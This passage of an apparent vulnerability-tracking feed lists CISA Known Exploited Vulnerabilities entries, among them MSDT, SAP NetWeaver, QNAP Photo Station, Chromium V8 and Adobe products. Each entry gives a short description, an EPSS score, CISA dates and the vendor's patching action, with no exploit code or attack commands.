pipeline. CISA added Jun 27, 2022; federal due date Jul 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2022-30190 Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability (Jun 14, 2022). A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run code with the privileges of the calling application. EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-30190&date=2026-10-25). Sources: CISA KEV entry CVE-2022-30190: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-30190&date=2026-10-25 CISA added this entry on 2022-06-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 14, 2022; federal due date Jul 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SAP NetWeaver Unrestricted File Upload Vulnerability https://kevwire.com/record/CVE-2021-38163 SAP NetWeaver Unrestricted File Upload Vulnerability (Jun 9, 2022). SAP NetWeaver contains a vulnerability that allows unrestricted file upload. EPSS 36.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-38163&date=2026-10-25). Sources: CISA KEV entry CVE-2021-38163: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-38163&date=2026-10-25 CISA added this entry on 2022-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 9, 2022; federal due date Jun 30, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SAP NetWeaver SQL Injection Vulnerability https://kevwire.com/record/CVE-2016-2386 SAP NetWeaver SQL Injection Vulnerability (Jun 9, 2022). SQL injection vulnerability in the UDDI server in SAP NetWeaver J2EE Engine 7.40 allows remote attackers to execute arbitrary SQL commands via unspecified vectors. EPSS 71.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-2386&date=2026-10-25). Sources: CISA KEV entry CVE-2016-2386: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-2386&date=2026-10-25 CISA added this entry on 2022-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 9, 2022; federal due date Jun 30, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SAP NetWeaver Information Disclosure Vulnerability https://kevwire.com/record/CVE-2016-2388 SAP NetWeaver Information Disclosure Vulnerability (Jun 9, 2022). The Universal Worklist Configuration in SAP NetWeaver AS JAVA 7.4 allows remote attackers to obtain sensitive user information via a crafted HTTP request. EPSS 52.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-2388&date=2026-10-25). Sources: CISA KEV entry CVE-2016-2388: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-2388&date=2026-10-25 CISA added this entry on 2022-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 9, 2022; federal due date Jun 30, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### QNAP Photo Station Path Traversal Vulnerability https://kevwire.com/record/CVE-2019-7195 QNAP Photo Station Path Traversal Vulnerability (Jun 8, 2022). QNAP devices running Photo Station contain an external control of file name or path vulnerability allowing remote attackers to access or modify system files. EPSS 89.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7195&date=2026-10-25). Sources: CISA KEV entry CVE-2019-7195: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7195&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### QNAP Photo Station Path Traversal Vulnerability https://kevwire.com/record/CVE-2019-7194 QNAP Photo Station Path Traversal Vulnerability (Jun 8, 2022). QNAP devices running Photo Station contain an external control of file name or path vulnerability allowing remote attackers to access or modify system files. EPSS 82.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7194&date=2026-10-25). Sources: CISA KEV entry CVE-2019-7194: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7194&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### QNAP QTS Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2019-7193 QNAP QTS Improper Input Validation Vulnerability (Jun 8, 2022). QNAP QTS contains an improper input validation vulnerability allowing remote attackers to inject code on the system. EPSS 14.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7193&date=2026-10-25). Sources: CISA KEV entry CVE-2019-7193: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7193&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### QNAP Photo Station Improper Access Control Vulnerability https://kevwire.com/record/CVE-2019-7192 QNAP Photo Station Improper Access Control Vulnerability (Jun 8, 2022). QNAP NAS devices running Photo Station contain an improper access control vulnerability allowing remote attackers to gain unauthorized access to the system. EPSS 88.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7192&date=2026-10-25). Sources: CISA KEV entry CVE-2019-7192: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7192&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2019-5825 Google Chromium V8 Out-of-Bounds Write Vulnerability (Jun 8, 2022). Google Chromium V8 Engine contains an out-of-bounds write vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 55.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-5825&date=2026-10-25). Sources: CISA KEV entry CVE-2019-5825: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-5825&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco RV Series Routers Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2019-15271 Cisco RV Series Routers Deserialization of Untrusted Data Vulnerability (Jun 8, 2022). A deserialization of untrusted data vulnerability in the web-based management interface of certain Cisco Small Business RV Series Routers could allow an attacker to execute code with root privileges. EPSS 5.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-15271&date=2026-10-25). Sources: CISA KEV entry CVE-2019-15271: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-15271&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Integer Overflow Vulnerability https://kevwire.com/record/CVE-2018-6065 Google Chromium V8 Integer Overflow Vulnerability (Jun 8, 2022). Google Chromium V8 Engine contains an integer overflow vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 60.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-6065&date=2026-10-25). Sources: CISA KEV entry CVE-2018-6065: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-6065&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Acrobat and Reader Double Free Vulnerability https://kevwire.com/record/CVE-2018-4990 Adobe Acrobat and Reader Double Free Vulnerability (Jun 8, 2022). Adobe Acrobat and Reader have a double free vulnerability that could lead to remote code execution. EPSS 35.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-4990&date=2026-10-25). Sources: CISA KEV entry CVE-2018-4990: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-4990&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2018-17480 Google Chromium V8 Out-of-Bounds Write Vulnerability (Jun 8, 2022). Google Chromium V8 Engine contains out-of-bounds write vulnerability that allows a remote attacker to execute code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 35.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-17480&date=2026-10-25). Sources: CISA KEV entry CVE-2018-17480: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-17480&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2018-17463 Google Chromium V8 Remote Code Execution Vulnerability (Jun 8, 2022). Google Chromium V8 Engine contains an unspecified vulnerability that allows a remote attacker to execute code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 84.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-17463&date=2026-10-25). Sources: CISA KEV entry CVE-2018-17463: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-17463&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### NETGEAR Multiple Devices Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2017-6862 NETGEAR Multiple Devices Buffer Overflow Vulnerability (Jun 8, 2022). Multiple NETGEAR devices contain a buffer overflow vulnerability that allows for authentication bypass and remote code execution. EPSS 45.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6862&date=2026-10-25). Sources: CISA KEV entry CVE-2017-6862: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6862&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Type Confusion Vulnerability https://kevwire.com/record/CVE-2017-5070 Google Chromium V8 Type Confusion Vulnerability (Jun 8, 2022). Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to execute code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 32.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-5070&date=2026-10-25). Sources: CISA KEV entry CVE-2017-5070: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-5070&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Memory Corruption Vulnerability https://kevwire.com/record/CVE-2017-5030 Google Chromium V8 Memory Corruption Vulnerability (Jun 8, 2022). Google Chromium V8 Engine contains a memory corruption vulnerability that allows a remote attacker to execute code via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 40.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-5030&date=2026-10-25). Sources: CISA KEV entry CVE-2017-5030: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-5030&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Out-of-Bounds Memory Vulnerability https://kevwire.com/record/CVE-2016-5198 Google Chromium V8 Out-of-Bounds Memory Vulnerability (Jun 8, 2022). Google Chromium V8 Engine contains an out-of-bounds memory access vulnerability that allows a remote attacker to perform read/write operations, leading to code execution, via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 34.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-5198&date=2026-10-25). Sources: CISA KEV entry CVE-2016-5198: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-5198&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Out-of-Bounds Read Vulnerability https://kevwire.com/record/CVE-2016-1646 Google Chromium V8 Out-of-Bounds Read Vulnerability (Jun 8, 2022). Google Chromium V8 Engine contains an out-of-bounds read vulnerability that allows a remote attacker to cause a denial of service or possibly have another unspecified impact via crafted JavaScript code. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 48.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-1646&date=2026-10-25). Sources: CISA KEV entry CVE-2016-1646: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-1646&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2013-1331 Microsoft Office Buffer Overflow Vulnerability (Jun 8, 2022). Microsoft Office contains a buffer overflow vulnerability that allows remote attackers to execute code via crafted PNG data in an Office document. EPSS 79.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-1331&date=2026-10-25). Sources: CISA KEV entry CVE-2013-1331: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-1331&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Integer Overflow Vulnerability https://kevwire.com/record/CVE-2012-5054 Adobe Flash Player Integer Overflow Vulnerability (Jun 8, 2022). Adobe Flash Player contains an integer overflow vulnerability that allows remote attackers to execute code via malformed arguments. EPSS 21.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-5054&date=2026-10-25). Sources: CISA KEV entry CVE-2012-5054: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-5054&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Use-After-Free Vulnerability https://kevwire.com/record/CVE-2012-4969 Microsoft Internet Explorer Use-After-Free Vulnerability (Jun 8, 2022). Microsoft Internet Explorer contains a use-after-free vulnerability that allows remote attackers to execute code via a crafted web site. EPSS 80.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-4969&date=2026-10-25). Sources: CISA KEV entry CVE-2012-4969: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-4969&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft XML Core Services Memory Corruption Vulnerability https://kevwire.com/record/CVE-2012-1889 Microsoft XML Core Services Memory Corruption Vulnerability (Jun 8, 2022). Microsoft XML Core Services contains a memory corruption vulnerability which could allow for remote code execution. EPSS 83.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-1889&date=2026-10-25). Sources: CISA KEV entry CVE-2012-1889: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-1889&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Cross-Site Scripting (XSS) Vulnerability https://kevwire.com/record/CVE-2012-0767 Adobe Flash Player Cross-Site Scripting (XSS) Vulnerability (Jun 8, 2022). Adobe Flash Player contains a XSS vulnerability that allows remote attackers to inject web script or HTML. EPSS 6.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-0767&date=2026-10-25). Sources: CISA KEV entry CVE-2012-0767: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-0767&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Memory Corruption Vulnerability https://kevwire.com/record/CVE-2012-0754 Adobe Flash Player Memory Corruption Vulnerability (Jun 8, 2022). Adobe Flash Player contains a memory corruption vulnerability that allows remote attackers to execute code or cause denial-of-service (DoS). EPSS 91.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-0754&date=2026-10-25). Sources: CISA KEV entry CVE-2012-0754: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-0754&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Authenticode Signature Verification Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2012-0151 Microsoft Windows Authenticode Signature Verification Remote Code Execution Vulnerability (Jun 8, 2022). The Authenticode Signature Verification function in Microsoft Windows (WinVerifyTrust) does not properly validate the digest of a signed portable executable (PE) file, which allows user-assisted remote attackers to execute code. EPSS 87.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-0151&date=2026-10-25). Sources: CISA KEV entry CVE-2012-0151: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-0151&date=2026-10-25 CISA added this entry on 2022-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 8, 2022; federal due date Jun 22, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Reader and Acrobat Universal 3D Memory Corruption Vulnerability https://kevwire.com/record/CVE-2011-2462 Adobe Reader and Acrobat Universal 3D Memory Corruption Vulnerability (Jun 8, 2022). The Universal 3D (U3D) component in Adobe Reader and Acrobat contains a memory corruption vulnerability which could allow remote attackers to execute code or cause denial-of-service (DoS). EPSS 88.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-2462&date=2026-10-25). Sources: CISA KEV entry CVE-2011-2462: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: 